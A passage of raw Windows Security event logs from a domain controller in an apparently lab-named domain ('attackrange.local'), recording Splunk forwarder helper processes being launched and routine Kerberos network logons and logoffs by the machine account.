	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:16:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257201
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbcc
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:16:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257202
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12e0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:16:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257203
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1050
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:16:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257205
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1054
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:16:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257204
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xea4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:16:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257208
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4C8682

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:16:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257207
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4C8682
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		59493

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:16:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257206
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4C8682

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:17:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257214
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4C89ED

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:17:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257213
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4C89ED
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		59497

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:17:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257212
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4C89ED

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:17:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257211
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4C8981

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:17:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257210
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4C8981
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		59496

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:17:04 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257209
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4C8981

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:17:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257215
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1310
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:17:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257216
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdd4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:17:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257217
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x358
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:17:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257218
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1084
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:17:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257230
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4CA414

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:17:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257229
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4CA522

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:17:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257228
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4CA56B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:17:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257227
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4CA62D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{250C95BA-D7BE-68DE-E803-AA7B4845FE00}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		59501

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:17:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257226
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4CA62D

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:17:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257225
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4CA56B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		59500

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

